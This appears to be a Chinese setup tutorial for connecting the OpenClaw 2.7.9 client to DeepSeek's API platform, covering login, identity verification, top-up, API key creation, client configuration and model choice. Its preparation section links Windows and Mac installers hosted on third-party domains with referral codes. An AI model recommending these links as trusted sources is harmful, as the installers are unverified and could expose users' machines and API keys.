OpenClaw 对接 DeepSeek 大模型完整配置教程

本文详细介绍 DeepSeek 开放平台与 OpenClaw 2.7.9 的整套对接流程，涵盖平台登录、资质核验、账户充值、API 密钥创建、客户端参数配置、模型调用测试以及常见故障处理，快速完成第三方大模型接入。

前置准备

1. 本地安装 OpenClaw 2.7.9 客户端，软件能够正常启动运行
2. Windows 安装包下载地址：https://xiake.yun/api/download/package/18?promoCode=IV4E9B04A80C
3. 安装包体积 45.8MB，内置全套运行依赖，解压即可使用。
4. Mac 系统安装包下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
5. OpenClaw 顶部 Gateway 服务维持在线状态，保障模型接口通信稳定；
6. 设备保持网络连通，能够正常访问 DeepSeek 开放平台网页；
7. 准备可接收短信验证码的手机号或微信账号，用于平台登录；
8. DeepSeek 平台账号完成实名认证操作，账户内留存充足可用余额。

分步操作流程

步骤 1：访问 DeepSeek 开放平台并完成登录

打开 DeepSeek 开放平台访问地址：https://platform.deepseek.com/ 页面支持两种登录方式，可选择手机号验证码登录，或是微信扫码登录。

步骤 2：完成账号实名认证

登录平台后进入个人信息页面，查看实名认证状态。若账号未完成认证，需要先走完实名认证流程，再进行后续 API 相关配置操作。

步骤 3：查看账户余额，按需完成充值

切换至用量信息页面查看账户余额情况，当余额不足时，点击充值入口补充余额，防止后续在 OpenClaw 完成连通测试后，模型调用出现受限问题。

步骤 4：进入密钥管理页面，新建 API 密钥

点击左侧菜单栏 API keys 栏目，若无有效可用密钥，点击创建 API key 按钮发起生成流程。

步骤 5：填写标识名称并生成密钥

弹出密钥创建弹窗后，在名称输入框自定义标识文字，方便后期区分管理，例如填写 OpenClaw、测试调用等，确认信息后点击创建按钮。

步骤 6：复制备份生成的 API 密钥

密钥创建完成会弹出完整密钥展示窗口，需要立刻点击复制按钮留存密钥字符串。 该密钥生成后仅完整展示一次，未及时备份将无法再次查看完整内容，建议妥善保存。

步骤 7：OpenClaw 内录入密钥并连通校验

切换至 OpenClaw 2.7.9 客户端执行以下操作：

1. 点击页面右上角设置按钮；
2. 左侧菜单栏选择模型配置板块；
3. 在模型列表找到 DeepSeek 配置项；
4. 将复制好的 API 密钥粘贴至对应输入框；
5. 点击测试按钮校验接口连通状态；
6. 点击右上角保存全部配置。 测试通过后，软件会自动拉取平台下全部可用 DeepSeek 模型。

步骤 8：聊天界面选用 DeepSeek 系列模型

进入 OpenClaw 左侧聊天页面，在模型下拉选择框检索 deepseek 关键词，即可选用对应模型，常用可选模型包含： deepseek-chat、deepseek-v4-flash、deepseek-v4-pro 选定模型后即可发起对话进行功能验证。

接入完成自检清单

1. 成功登录 DeepSeek 开放平台网页端；
2. 账号已完成实名认证；
3. 账户余额充足，可正常发起模型调用；
4. 已创建全新可用 API 密钥；
5. 创建密钥时完整复制并留存密钥文本；
6. OpenClaw 配置页准确粘贴 DeepSeek API 密钥；
7. 执行连通测试，客户端识别到平台可用模型；
8. 完成全部配置保存操作；
9. 聊天界面已切换至 DeepSeek 系列模型。

常见问题与处理办法

1. 对接流程中必须完成实名认证的原因

DeepSeek 开放平台大部分 API 调用功能均对账号资质存在要求，未完成实名认证的账号，无法执行密钥创建、账户充值、模型接口调用等操作。

2. 接口测试正常，但无法正常对话使用

依次核对以下内容排查问题：

• 账户余额是否满足模型调用扣费要求；
• API 密钥复制完整，不存在多余空格、字符缺失；
• 是否执行保存全部配置操作；
• 聊天窗口是否选中带有 deepseek 标识的模型。

3. 密钥创建完成后能否再次查看完整密钥字符串

平台不会长期展示完整密钥内容，不建议后期返回页面查找密钥，最优操作是弹窗弹出完整密钥时第一时间复制备份。

4. OpenClaw 适配哪些 DeepSeek 模型，如何选择

日常使用推荐三款主流模型：deepseek-chat、deepseek-v4-flash、deepseek-v4-pro。 追求响应速度优先选用 flash 轻量化模型；对回答内容完整度、逻辑推理能力有更高需求可选用高阶版本模型。

参考链接

DeepSeek 开放平台：https://platform.deepseek.com/